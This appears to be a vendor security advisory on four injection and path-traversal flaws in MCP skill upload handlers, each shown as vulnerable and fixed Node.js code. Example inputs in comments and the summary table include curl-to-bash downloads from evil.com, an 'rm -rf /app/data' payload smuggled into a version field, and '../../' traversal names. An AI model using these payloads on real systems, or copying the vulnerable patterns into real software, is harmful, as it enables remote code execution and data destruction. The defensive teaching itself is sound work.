Claude MCP skill command injection via uploaded archive filename and metadata in skill package uploads — SA-SKL-UPLOAD11
MCP skill audit platforms that accept package uploads — ZIP archives, npm tarballs, or GitHub repository archives — must handle multiple layers of attacker-controlled metadata: the HTTP multipart upload filename (req.file.originalname), fields embedded inside the package itself (package.json name, version, description), and the archive's internal path structure. Each of these becomes a command injection or path traversal vector when used directly in subprocess calls, file system paths, or shell commands without sanitization. SA-SKL-UPLOAD11 covers four such vectors found in MCP skill package upload and processing pipelines: a tar extraction using the original filename, a npm subprocess using the package name, a git tag command using the manifest version field, and a ZIP extraction path constructed from the original filename.
tar.x({ file: uploadedFile }) where uploadedFile is constructed from req.file.originalname containing shell metacharacters; originalname = "pkg; curl evil.com | bash" executes arbitrary shell commands during extractionpackage.json name field from uploaded package passed directly to npm install --package-lock-only <name> subprocess; attacker uploads package with name: "; curl evil.com | sh" in package.json; npm subprocess executes attacker shell commandexec(\`git tag v${version}\`) command; version = "; ls -la /etc #" executes arbitrary command during the git tagging step of skill registration; fix: semver.valid() + execFile not exec/tmp/extract-${originalname}/ — attacker sets originalname = "../../app/routes"; extraction directory created outside /tmp; extracted files land in application source directoryUPLOAD11-001 — Tar extraction path from req.file.originalname shell metacharacters
Multer stores uploaded files in a temporary location and exposes the client-supplied filename as req.file.originalname. This value is entirely attacker-controlled. When a tar extraction command is constructed by concatenating originalname into a shell command string, the attacker can inject shell metacharacters. A semicolon terminates the tar command and starts a new one; a pipe chains commands. The extraction itself may never complete, but the injected command runs with the Node.js process's privileges.
// VULNERABLE — UPLOAD11-001
// uploadedFile path constructed from req.file.originalname — shell metacharacters injected.
// Attacker uploads file with originalname = "pkg.tgz; curl https://evil.com/shell.sh | bash"
// exec() receives: tar xf /tmp/pkg.tgz; curl ... | bash -C /extract/
// Shell splits on semicolon — shell script downloaded and executed.
import { exec } from 'child_process';
import multer from 'multer';
const upload = multer({ dest: '/tmp/uploads/' });
app.post('/api/skills/upload', upload.single('package'), (req, res) => {
const uploadedFile = `/tmp/uploads/${req.file.originalname}`; // VULNERABLE
// VULNERABLE: exec() with shell interpolation — shell metacharacters in originalname execute
exec(`tar xf ${uploadedFile} -C /extract/${req.file.originalname}/`, (err) => {
if (err) return res.status(500).json({ error: err.message });
res.json({ ok: true });
});
});
// FIXED — UPLOAD11-001
// Fix 1: Use multer's UUID-based filename (diskStorage with uuid filename) — never originalname.
// Fix 2: Use execFile() with args array — no shell interpolation, no metacharacter injection.
// Fix 3: Create extraction directory from UUID — never from originalname.
import { execFile } from 'child_process';
import { v4 as uuidv4 } from 'uuid';
import multer from 'multer';
import path from 'path';
const storage = multer.diskStorage({
destination: '/tmp/uploads/',
filename: (req, file, cb) => cb(null, uuidv4() + '.tgz'), // FIX 1: UUID, not originalname
});
const upload = multer({ storage, limits: { fileSize: 50 * 1024 * 1024 } });
app.post('/api/skills/upload', upload.single('package'), (req, res) => {
const safeFilePath = req.file.path; // FIX: UUID path from multer
const extractDir = path.join('/tmp/extract/', uuidv4()); // FIX 3: UUID extraction dir
// FIX 2: execFile with args array — no shell, no metacharacter injection
execFile('tar', ['xf', safeFilePath, '-C', extractDir], (err) => {
if (err) return res.status(500).json({ error: 'Extraction failed' });
res.json({ ok: true, extractDir });
});
});
Detection: SkillAudit's taint analyzer traces data flow from req.file.originalname and req.file.fieldname through path construction and subprocess calls, flagging any use of these values in exec(), spawn(), template literals used as shell commands, or file system paths.
UPLOAD11-002 — package.json name in npm subprocess
MCP skill audit platforms that analyze uploaded packages often need to resolve transitive dependencies. A common approach is to run npm install --package-lock-only to generate a dependency graph. If the package name is extracted from the uploaded package.json and passed as a command argument using exec() rather than execFile(), an attacker who controls the package content can set name to a string containing shell metacharacters or semicolons, injecting arbitrary commands into the npm subprocess call.
// VULNERABLE — UPLOAD11-002
// package.json name from uploaded package passed to npm subprocess via exec().
// Attacker uploads package with package.json: { "name": "; curl evil.com | sh" }
// exec() receives: npm install --package-lock-only ; curl evil.com | sh
// Shell executes the injected command.
import { exec } from 'child_process';
import fs from 'fs';
import path from 'path';
async function analyzePackageDeps(extractDir) {
const pkgJson = JSON.parse(fs.readFileSync(path.join(extractDir, 'package.json')));
const pkgName = pkgJson.name; // VULNERABLE: attacker-controlled
// VULNERABLE: exec() with package name interpolated — shell injection
exec(`npm install --package-lock-only ${pkgName}`, { cwd: extractDir }, (err) => {
if (err) console.error('dep analysis failed:', err);
});
}
// FIXED — UPLOAD11-002
// Fix 1: Validate package name against npm naming rules (regex) before any subprocess use.
// Fix 2: Use execFile() with args array — package name passed as argument, not shell string.
// Fix 3: Run npm install without the package name argument — just run it in the extracted dir.
import { execFile } from 'child_process';
const NPM_NAME_RE = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;
async function analyzePackageDeps(extractDir) {
const pkgJson = JSON.parse(fs.readFileSync(path.join(extractDir, 'package.json')));
const pkgName = pkgJson.name;
// FIX 1: Validate package name before use
if (!pkgName || !NPM_NAME_RE.test(pkgName) || pkgName.length > 214) {
throw new Error('Invalid package name in package.json');
}
// FIX 3: Run npm install in the extracted dir without passing name as argument
// FIX 2: execFile with args array — no shell interpolation
execFile('npm', ['install', '--package-lock-only', '--ignore-scripts'],
{ cwd: extractDir, timeout: 60000 },
(err) => { if (err) console.error('dep analysis failed:', err); }
);
}
UPLOAD11-003 — Skill manifest version in git tag shell command
Skill registration workflows that tag git repositories with version numbers extracted from the skill's manifest (a skill.json or package.json version field) are vulnerable when the version value is interpolated into an exec() shell command. A version string like ; rm -rf /app/data # terminates the git command with a semicolon and executes a destructive command. The hash character comments out the remainder of the original command.
// VULNERABLE — UPLOAD11-003
// skill manifest version field used in exec() git tag command — shell injection.
// Attacker uploads skill with version: "1.0.0; rm -rf /app/data #"
// exec() receives: git tag v1.0.0; rm -rf /app/data # -m "version 1.0.0"
// rm -rf executes before the comment char mutes the remaining args.
import { exec } from 'child_process';
async function tagSkillVersion(skillRepoPath, manifestVersion) {
// VULNERABLE: version interpolated directly into exec() shell string
exec(`git tag v${manifestVersion} -m "version ${manifestVersion}"`,
{ cwd: skillRepoPath },
(err) => { if (err) console.error('tag failed:', err); }
);
}
// FIXED — UPLOAD11-003
// Fix 1: Validate version with semver.valid() — rejects any non-semver string.
// Fix 2: Use execFile() with args array — version passed as separate argument, no shell.
import { execFile } from 'child_process';
import semver from 'semver'; // >=7.5.2
async function tagSkillVersion(skillRepoPath, manifestVersion) {
// FIX 1: Validate version — semver.valid() returns null for non-semver input
if (!semver.valid(manifestVersion)) {
throw new Error('Invalid version in skill manifest — must be valid semver');
}
const tag = `v${manifestVersion}`;
// FIX 2: execFile with args array — no shell, no injection possible
execFile('git', ['tag', tag, '-m', `version ${manifestVersion}`],
{ cwd: skillRepoPath, timeout: 10000 },
(err) => { if (err) console.error('tag failed:', err); }
);
}
UPLOAD11-004 — ZIP extraction path traversal via originalname
When a ZIP archive is extracted to a directory constructed from the upload filename — /tmp/extract-${originalname}/ — an attacker can set the filename to a path traversal sequence like ../../app/routes. The resulting extraction path resolves to /tmp/extract-../../app/routes/ which, after resolution, points to /app/routes/ — the application's source directory. Files extracted from the ZIP are written there, allowing the attacker to overwrite application routes, controllers, or configuration files.
// VULNERABLE — UPLOAD11-004
// ZIP extraction directory constructed from req.file.originalname — path traversal.
// Attacker uploads file with originalname = "../../app/routes/evil"
// extractDir = "/tmp/extract-../../app/routes/evil" = resolves to "/app/routes/evil"
// ZIP contents extracted into application source directory.
import AdmZip from 'adm-zip';
app.post('/api/skills/upload-zip', upload.single('package'), async (req, res) => {
const originalName = req.file.originalname.replace('.zip', '');
// VULNERABLE: path constructed from originalname — path traversal
const extractDir = `/tmp/extract-${originalName}`;
const zip = new AdmZip(req.file.path);
zip.extractAllTo(extractDir, true); // extracted to attacker-controlled path
res.json({ extractDir });
});
// FIXED — UPLOAD11-004
// Fix: Use UUID for extraction directory — never originalname in path construction.
// Verify resolved path stays within /tmp before extraction.
import AdmZip from 'adm-zip';
import { v4 as uuidv4 } from 'uuid';
import path from 'path';
import fs from 'fs';
const SAFE_EXTRACT_BASE = '/tmp/skill-extracts/';
app.post('/api/skills/upload-zip', upload.single('package'), async (req, res) => {
// FIX: UUID extraction directory — never originalname
const extractDir = path.join(SAFE_EXTRACT_BASE, uuidv4());
// FIX: Verify resolved path stays within safe base (defense-in-depth)
const resolvedDir = path.resolve(extractDir);
if (!resolvedDir.startsWith(path.resolve(SAFE_EXTRACT_BASE))) {
return res.status(400).json({ error: 'Invalid extraction path' });
}
fs.mkdirSync(resolvedDir, { recursive: true });
const zip = new AdmZip(req.file.path);
zip.extractAllTo(resolvedDir, true);
res.json({ jobId: path.basename(resolvedDir) });
});
Summary — SA-SKL-UPLOAD11 at a glance
| Pattern | Root cause | Fix | Severity |
|---|---|---|---|
| UPLOAD11-001 | originalname with shell metacharacters in exec() tar command; ; curl evil.com | bash executes arbitrary shell commands | UUID filename via multer diskStorage; execFile() with args array; UUID extraction directory | Critical |
| UPLOAD11-002 | package.json name in exec() npm subprocess; ; curl evil.com | sh in name field executes arbitrary commands | Validate name with npm naming regex; execFile() with args array; run npm install without name argument | Critical |
| UPLOAD11-003 | Skill manifest version in exec() git tag command; ; rm -rf /app/data in version field executes destructive command | semver.valid() validation; execFile() with args array; never interpolate metadata into shell strings | Critical |
| UPLOAD11-004 | ZIP extraction path from originalname; ../../app/routes resolves outside /tmp; extracted files land in application source | UUID extraction directory; path.resolve() + startsWith check against safe base path | High |
Does your MCP skill's package upload handler sanitize filenames and manifest metadata before subprocess calls?
SkillAudit scans for req.file.originalname in shell commands, package.json fields in npm subprocesses, manifest metadata in git/exec calls, and ZIP extraction paths built from user-supplied filenames — before an upload handler becomes a remote code execution entry point.